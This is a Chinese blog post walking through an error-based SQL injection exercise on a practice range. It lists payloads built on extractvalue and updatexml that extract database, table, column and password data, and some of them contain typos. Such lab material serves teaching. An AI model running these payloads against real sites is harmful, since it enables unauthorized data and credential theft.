首页 > 数据库 >基于墨者靶场报错盲注分析SQL注入之报错盲注

基于墨者靶场报错盲注分析SQL注入之报错盲注

时间:2023-04-08 18:13:02浏览次数:58  
标签:extractvalue 0x7e 报错 select SQL 盲注 id concat

报错注入是利用了数据库的某些机制,人为的制造错误条件,是的查询结果能够出现在错误信息中。
有 xpath语法错误
xpath语法错误
利用xpath语法错误进行报错注入时利用了extractvlue与updatexml两个函数。
使用条件:nysql版本大于5.1.5
extractvalue函数
原型:extractvalue(xml_document,Xpath_string)
第一个参数:xml_document是string格式,为xml文档对象名称
第二个参数:Xpath_string是xpath格式的字符串
报错原理:
第二个参数是要求符合xpath语法的字符串,如果不满足要求,报错,查询信息放在报错中
如:id=1'and(select extractvalue(1,concat(0x7e,(select database()))))
concat进行拼接 如:concat('a','d')='ab'
0x7e=~
以墨者靶场报错注入为例:
通过测试1 and 1=2 和1’and 1=2 --+ 得出参数是字符型
靶场将union过滤了
使用extractvalue进行报错注入
爆库名:id=1' and (select extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
爆表名:id=1' and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = "库名"))))
爆列名:id=1' and (select extractvalue(1,concat(0x7e,(select group_concat(coiumn_name) from information_schema.coiumns where table_name="表名"))))
爆数据:id=1' and (select extractvalue(1,concat(0x7e,(select ‘列名’from "表名"))))
注意:extractvalue()能查询字符串的最大长度为32,如果密码已经超过了超过32位,此时用substr()函数
如:supltr(a,b,c) 在a中从b位开始截取c位
limit函数 有两个参数 第一个为返回第一行的偏移量 第二个为返回行的最大数目。
如 : select*from table limit 0,9;从第1行开始,显示9条数据
select*from table limit 1,9;从第2行开始显示,9行数据
因此
最后要得到的最后一位数据位 id=1' and (select extratvlue(1,concat(0x7e,(select supltr(password,32,1) limit 0.1 ))))
因为有 两个密码所以下一个为 id=1' and (select extratvlue(1,concat(0x7e,(select supltr(password,32,1) limit 1.1 ))))
updatexml函数
原型 updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象名称
第二个参数:Xpath_string是xpath格式的字符串
第三个参数:new_value 是string格式,替换查找到的复合条件的数据
应为第二个参数与extractvalue 相同 ,所以利用方式相同,方法也相同。
如:id=1'and(select updatexml(1,concat(0x7e,(select database())),1))

标签:extractvalue,0x7e,报错,select,SQL,盲注,id,concat
From: https://www.cnblogs.com/Fatwhitebear/p/17298932.html

相关文章

  • npm i 安装报错RequestError: socket hang up
    1异常信息npmWARNdeprecated@npmcli/[email protected]:Thisfunctionalityhasbeenmovedto@npmcli/[email protected]:Pleaseuse@electron/asarmovingforward.ThereisnoAPIchange,justapackagenamechangenpmERR!code1npmERR!pat......
  • 信号,flask-script,sqlalchemy 快速使用
    信号,flask-script,sqlalchemy快速使用信号#Flask框架中的信号基于blinker(安装这个模块),其主要就是让开发者可是在flask请求过程中定制一些用户行为flask和django都有#观察者模式,又叫发布-订阅(Publish/Subscribe)23种设计模式之一pip3.8installblinker#信号:signi......
  • 读写分离——Mysql主从复制
    问题说明:读和写所有压力都由一台数据库承担,压力大,数据库服务器磁盘损坏则数据丢失,单点故障写操作——insert、update、delete——》Master主库——数据同步——》Slave从库《——读操作——Mysql主从复制  Mys......
  • mac python 安装mysqlclient的问题
    问题1: 无法安装mysqlclient报错信息:   解决方法:1. 安装mysql-clientbrewinstallmysql-client2、配置环境变量vi~/.bash_profileexportPATH=/opt/homebrew/opt/mysql-client/bin:$PATHsource~/.bash_profile3、安装mysqlclientpipinsta......
  • 配置Mysql允许远程访问
    配置Mysql允许远程访问 把Mysql安装在服务器上,然后在本地访问,发现提示Host'***'isnotallowedtoconnecttothisMySQLserver,错误提示很明确,就是目标主机上的Mysql服务不允许连接。1.打开命令提示符,执行Mysql-uroot-proot命令(如果提示Mysql不是内部或外部命令什么......
  • 在 PostgreSQL 中使用 EXCLUDE 值进行 Upsert(重复更新时插入、合并)
    上次,我们读到了如何在PostgreSQL中使用 UPSERT。在快速回顾中,UPSERT 是 INSERTONDUPLICATEUPDATE 的缩写,如果它们与以前的条目不匹配,则倾向于将 INSERT 值插入表中。如果有,它们会自动更新。PostgreSQL中的 EXCLUDED 是什么EXCLUDED 是DBMS给一个特殊表的名称,......
  • Linux系统下安装MySQL8.0图文教程
    Linux系统下安装MySQL8.0图文教程1.环境准备1.1. 操作系统Centos7.3,中标麒麟7.61.2. 防火墙配置(可关闭防火墙,不建议)操作系统开启防火墙(注意:不建议把防火墙关闭,应该设置开放对应的端口,或者开放给哪些IP地址的哪些端口)。(1) 防火墙端口开放设置:https://www.cnblogs.com/liu......
  • MySQL外键约束
        ONDELETERESTRICT(约束):当在父表(即外键的来源表)中删除对应记录时,首先检查该记录是否有对应外键,如果有则不允许删除。NOACTION:意思同RESTRICT.即如果存在从数据,不允许删除主数据。CASCADE(级联):当在父表(即外键的来源表)中删除对应记录时,首先检查该记录是否有对应外......
  • SAP销售订单开票报错科目确定期间出错的原因分析及解决方案 ​
    在SAP/ERP系统日常运维中,可能会遇到类似如下这样问题:在创建销售发票时候,系统报错提示如下,错误消息号:VF051。针对上图问题,要找到这问题的原因,首先需要了解下销售收入相关科目确定的配置逻辑销售收入相关科目确定的配置事务码:VKOASAP系统收入相关科目确定逻辑在一般情况下收入相关科......
  • MySQL必会必知笔记
    1.简单使用[root@mysql~]#mysql-uroot-p123<hellodb_innodb.sql所有命令都是在hellodb库中执行,此库可以在MySQL官网下载进入库[root@mysql~]#mysql-uroot-p123查询所有的库mysql>showdatabases;进入库mysql>usehellodb;查询库里的所有表mysql>showtab......